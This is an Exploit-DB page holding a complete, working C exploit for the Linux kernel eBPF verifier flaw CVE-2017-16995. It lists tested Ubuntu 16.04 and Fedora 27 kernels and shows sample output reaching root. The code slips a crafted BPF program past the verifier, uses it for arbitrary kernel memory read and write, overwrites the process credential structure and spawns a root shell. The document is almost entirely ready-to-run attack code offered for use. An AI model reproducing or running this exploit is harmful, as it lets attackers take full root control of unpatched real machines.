Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation

  • 作者: rlarabee
    日期: 2018-07-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45010/
  • /*
    Credit @bleidl, this is a slight modification to his original POC
    https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
    
    For details on how the exploit works, please visit
    https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
     
    Tested on Ubuntu 16.04 with the following Kernels
    4.4.0-31-generic
    4.4.0-62-generic
    4.4.0-81-generic
    4.4.0-116-generic
    4.8.0-58-generic
    4.10.0.42-generic
    4.13.0-21-generic
    
    Tested on Fedora 27
    4.13.9-300
    gcc cve-2017-16995.c -o cve-2017-16995
    internet@client:~/cve-2017-16995$ ./cve-2017-16995
    [.]
    [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
    [.]
    [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
    [.]
    [*] creating bpf map
    [*] sneaking evil bpf past the verifier
    [*] creating socketpair()
    [*] attaching bpf backdoor to socket
    [*] skbuff => ffff880038c3f500
    [*] Leaking sock struct from ffff88003af5e180
    [*] Sock->sk_rcvtimeo at offset 472
    [*] Cred structure at ffff880038704600
    [*] UID from cred structure: 1000, matches the current: 1000
    [*] hammering cred structure at ffff880038704600
    [*] credentials patched, launching shell...
    #id
    uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
    
    */
    
    #include <errno.h>
    #include <fcntl.h>
    #include <stdarg.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <linux/bpf.h>
    #include <linux/unistd.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/un.h>
    #include <sys/stat.h>
    #include <sys/personality.h>
    
    char buffer[64];
    int sockets[2];
    int mapfd, progfd;
    int doredact = 0;
    
    #define LOG_BUF_SIZE 65536
    #define PHYS_OFFSET 0xffff880000000000
    char bpf_log_buf[LOG_BUF_SIZE];
    
    static __u64 ptr_to_u64(void *ptr)
    {
    	return (__u64) (unsigned long) ptr;
    }
    
    int bpf_prog_load(enum bpf_prog_type prog_type,
    		const struct bpf_insn *insns, int prog_len,
    		const char *license, int kern_version)
    {
    	union bpf_attr attr = {
    		.prog_type = prog_type,
    		.insns = ptr_to_u64((void *) insns),
    		.insn_cnt = prog_len / sizeof(struct bpf_insn),
    		.license = ptr_to_u64((void *) license),
    		.log_buf = ptr_to_u64(bpf_log_buf),
    		.log_size = LOG_BUF_SIZE,
    		.log_level = 1,
    	};
    
    	attr.kern_version = kern_version;
    
    	bpf_log_buf[0] = 0;
    
    	return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
    }
    
    int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
    		 int max_entries, int map_flags)
    {
    	union bpf_attr attr = {
    		.map_type = map_type,
    		.key_size = key_size,
    		.value_size = value_size,
    		.max_entries = max_entries
    	};
    
    	return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
    }
    
    int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
    {
    	union bpf_attr attr = {
    		.map_fd = fd,
    		.key = ptr_to_u64(key),
    		.value = ptr_to_u64(value),
    		.flags = flags,
    	};
    
    	return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
    }
    
    int bpf_lookup_elem(int fd, void *key, void *value)
    {
    	union bpf_attr attr = {
    		.map_fd = fd,
    		.key = ptr_to_u64(key),
    		.value = ptr_to_u64(value),
    	};
    
    	return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
    }
    
    #define BPF_ALU64_IMM(OP, DST, IMM)				\
    	((struct bpf_insn) {					\
    		.code= BPF_ALU64 | BPF_OP(OP) | BPF_K,	\
    		.dst_reg = DST,					\
    		.src_reg = 0,					\
    		.off = 0,					\
    		.imm = IMM })
    
    #define BPF_MOV64_REG(DST, SRC)					\
    	((struct bpf_insn) {					\
    		.code= BPF_ALU64 | BPF_MOV | BPF_X,		\
    		.dst_reg = DST,					\
    		.src_reg = SRC,					\
    		.off = 0,					\
    		.imm = 0 })
    
    #define BPF_MOV32_REG(DST, SRC)					\
    	((struct bpf_insn) {					\
    		.code= BPF_ALU | BPF_MOV | BPF_X,		\
    		.dst_reg = DST,					\
    		.src_reg = SRC,					\
    		.off = 0,					\
    		.imm = 0 })
    
    #define BPF_MOV64_IMM(DST, IMM)					\
    	((struct bpf_insn) {					\
    		.code= BPF_ALU64 | BPF_MOV | BPF_K,		\
    		.dst_reg = DST,					\
    		.src_reg = 0,					\
    		.off = 0,					\
    		.imm = IMM })
    
    #define BPF_MOV32_IMM(DST, IMM)					\
    	((struct bpf_insn) {					\
    		.code= BPF_ALU | BPF_MOV | BPF_K,		\
    		.dst_reg = DST,					\
    		.src_reg = 0,					\
    		.off = 0,					\
    		.imm = IMM })
    
    #define BPF_LD_IMM64(DST, IMM)					\
    	BPF_LD_IMM64_RAW(DST, 0, IMM)
    
    #define BPF_LD_IMM64_RAW(DST, SRC, IMM)				\
    	((struct bpf_insn) {					\
    		.code= BPF_LD | BPF_DW | BPF_IMM,		\
    		.dst_reg = DST,					\
    		.src_reg = SRC,					\
    		.off = 0,					\
    		.imm = (__u32) (IMM) }),			\
    	((struct bpf_insn) {					\
    		.code= 0, 					\
    		.dst_reg = 0,					\
    		.src_reg = 0,					\
    		.off = 0,					\
    		.imm = ((__u64) (IMM)) >> 32 })
    
    #ifndef BPF_PSEUDO_MAP_FD
    # define BPF_PSEUDO_MAP_FD	1
    #endif
    
    #define BPF_LD_MAP_FD(DST, MAP_FD)				\
    	BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
    
    #define BPF_LDX_MEM(SIZE, DST, SRC, OFF)			\
    	((struct bpf_insn) {					\
    		.code= BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,	\
    		.dst_reg = DST,					\
    		.src_reg = SRC,					\
    		.off = OFF,					\
    		.imm = 0 })
    
    #define BPF_STX_MEM(SIZE, DST, SRC, OFF)			\
    	((struct bpf_insn) {					\
    		.code= BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,	\
    		.dst_reg = DST,					\
    		.src_reg = SRC,					\
    		.off = OFF,					\
    		.imm = 0 })
    
    #define BPF_ST_MEM(SIZE, DST, OFF, IMM)				\
    	((struct bpf_insn) {					\
    		.code= BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,	\
    		.dst_reg = DST,					\
    		.src_reg = 0,					\
    		.off = OFF,					\
    		.imm = IMM })
    
    #define BPF_JMP_IMM(OP, DST, IMM, OFF)				\
    	((struct bpf_insn) {					\
    		.code= BPF_JMP | BPF_OP(OP) | BPF_K,		\
    		.dst_reg = DST,					\
    		.src_reg = 0,					\
    		.off = OFF,					\
    		.imm = IMM })
    
    #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM)			\
    	((struct bpf_insn) {					\
    		.code= CODE,					\
    		.dst_reg = DST,					\
    		.src_reg = SRC,					\
    		.off = OFF,					\
    		.imm = IMM })
    
    #define BPF_EXIT_INSN()						\
    	((struct bpf_insn) {					\
    		.code= BPF_JMP | BPF_EXIT,			\
    		.dst_reg = 0,					\
    		.src_reg = 0,					\
    		.off = 0,					\
    		.imm = 0 })
    
    #define BPF_DISABLE_VERIFIER() \
    	BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
    	BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) {*/ \
    	BPF_MOV64_IMM(BPF_REG_0, 0),/* exit(0); */ \
    	BPF_EXIT_INSN() /* }*/ \
    
    #define BPF_MAP_GET(idx, dst)\
    	BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),/* r1 = r9*/ \
    	BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp*/ \
    	BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),/* r2 = fp - 4*/ \
    	BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
    	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
    	BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),/* if (r0 == 0) */ \
    	BPF_EXIT_INSN(),/* exit(0); */ \
    	BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0)/* r_dst = *(u64 *)(r0) */
    
    static int load_prog() {
    	struct bpf_insn prog[] = {
    		BPF_DISABLE_VERIFIER(),
    
    		BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
    
    		BPF_LD_MAP_FD(BPF_REG_9, mapfd),
    
    		BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
    		BPF_MAP_GET(1, BPF_REG_7), /* r7 = address*/
    		BPF_MAP_GET(2, BPF_REG_8), /* r8 = value*/
    
    		/* store map slot address in r2 */
    		BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
    		BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0for exit(0) */
    
    		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0)*/
    		/* get fp */
    		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
    		BPF_EXIT_INSN(),
    
    		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
    		/* get skbuff */
    		BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
    		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
    		BPF_EXIT_INSN(),
    
    		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
    		/* read */
    		BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
    		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
    		BPF_EXIT_INSN(),
    		/* else*/
    		/* write */
    		BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), 
    		BPF_EXIT_INSN(),
    
    	};
    	return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
    }
    
    void info(const char *fmt, ...) {
    	va_list args;
    	va_start(args, fmt);
    	fprintf(stdout, "[.] ");
    	vfprintf(stdout, fmt, args);
    	va_end(args);
    }
    
    void msg(const char *fmt, ...) {
    	va_list args;
    	va_start(args, fmt);
    	fprintf(stdout, "[*] ");
    	vfprintf(stdout, fmt, args);
    	va_end(args);
    }
    
    void redact(const char *fmt, ...) {
    	va_list args;
    	va_start(args, fmt);
    	if(doredact) {
    		fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
    		return;
    	}
    	fprintf(stdout, "[*] ");
    	vfprintf(stdout, fmt, args);
    	va_end(args);
    }
    
    void fail(const char *fmt, ...) {
    	va_list args;
    	va_start(args, fmt);
    	fprintf(stdout, "[!] ");
    	vfprintf(stdout, fmt, args);
    	va_end(args);
    	exit(1);
    }
    
    void 
    initialize() {
    	info("\n");
    	info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
    	info("\n");
    	info("** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
    	info("\n");
    
    	redact("creating bpf map\n");
    	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
    	if (mapfd < 0) {
    		fail("failed to create bpf map: '%s'\n", strerror(errno));
    	}
    
    	redact("sneaking evil bpf past the verifier\n");
    	progfd = load_prog();
    	if (progfd < 0) {
    		if (errno == EACCES) {
    			msg("log:\n%s", bpf_log_buf);
    		}
    		fail("failed to load prog '%s'\n", strerror(errno));
    	}
    
    	redact("creating socketpair()\n");
    	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
    		fail("failed to create socket pair '%s'\n", strerror(errno));
    	}
    
    	redact("attaching bpf backdoor to socket\n");
    	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
    		fail("setsockopt '%s'\n", strerror(errno));
    	}
    }
    
    static void writemsg() {
    	ssize_t n = write(sockets[0], buffer, sizeof(buffer));
    	if (n < 0) {
    		perror("write");
    		return;
    	}
    	if (n != sizeof(buffer)) {
    		fprintf(stderr, "short write: %zd\n", n);
    	}
    }
    
    static void 
    update_elem(int key, unsigned long value) {
    	if (bpf_update_elem(mapfd, &key, &value, 0)) {
    		fail("bpf_update_elem failed '%s'\n", strerror(errno));
    	}
    }
    
    static unsigned long 
    get_value(int key) {
    	unsigned long value;
    	if (bpf_lookup_elem(mapfd, &key, &value)) {
    		fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
    	}
    	return value;
    }
    
    static unsigned long
    sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
    	update_elem(0, op);
    	update_elem(1, addr);
    	update_elem(2, value);
    	writemsg();
    	return get_value(2);
    }
    
    unsigned long
    get_skbuff() {
    	return sendcmd(1, 0, 0);
    }
    
    unsigned long
    get_fp() {
    	return sendcmd(0, 0, 0);
    }
    
    unsigned long
    read64(unsigned long addr) {
    	return sendcmd(2, addr, 0);
    }
    
    void
    write64(unsigned long addr, unsigned long val) {
    	(void)sendcmd(3, addr, val);
    }
    
    static unsigned long find_cred() {
    	uid_t uid = getuid();
    	unsigned long skbuff = get_skbuff();
    	/*
    	 * struct sk_buff {
    	 * [...24 byte offset...]
    	 * struct sock *sk;
    	 * };
    	 *
    	 */
    
    	unsigned long sock_addr = read64(skbuff + 24);
    	msg("skbuff => %llx\n", skbuff);
    	msg("Leaking sock struct from %llx\n", sock_addr);	
    	if(sock_addr < PHYS_OFFSET){
    		fail("Failed to find Sock address from sk_buff.\n");
    	}	
    		
    	/*
    	 * scan forward for expected sk_rcvtimeo value.
    	 *
    	 * struct sock {
    	 *[...]
    	 *const struct cred*sk_peer_cred; 
    	 *longsk_rcvtimeo; 
    	 *};
    	 */
    	for (int i = 0; i < 100; i++, sock_addr += 8) {
    		if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
    			unsigned long cred_struct = read64(sock_addr - 8);
    			if(cred_struct < PHYS_OFFSET) {
    				continue;
    			}
    			
    			unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
    			
    			if(test_uid != uid) {
    				continue;
    			}
    msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
    msg("Cred structure at %llx\n", cred_struct);
    			msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
    			
    			return cred_struct;
    		}
    	}
    	fail("failed to find sk_rcvtimeo.\n");
    }
    
    static void
    hammer_cred(unsigned long addr) {
    	msg("hammering cred structure at %llx\n", addr);
    #define w64(w) { write64(addr, (w)); addr += 8; }
    	unsigned long val = read64(addr) & 0xFFFFFFFFUL;
    	w64(val); 
    	w64(0); w64(0); w64(0); w64(0);
    	w64(0xFFFFFFFFFFFFFFFF); 
    	w64(0xFFFFFFFFFFFFFFFF); 
    	w64(0xFFFFFFFFFFFFFFFF); 
    #undef w64
    }
    
    int
    main(int argc, char **argv) {
    	initialize();
    	hammer_cred(find_cred());
    	msg("credentials patched, launching shell...\n");
    	if(execl("/bin/sh", "/bin/sh", NULL)) {
    		fail("exec %s\n", strerror(errno));
    	}
    }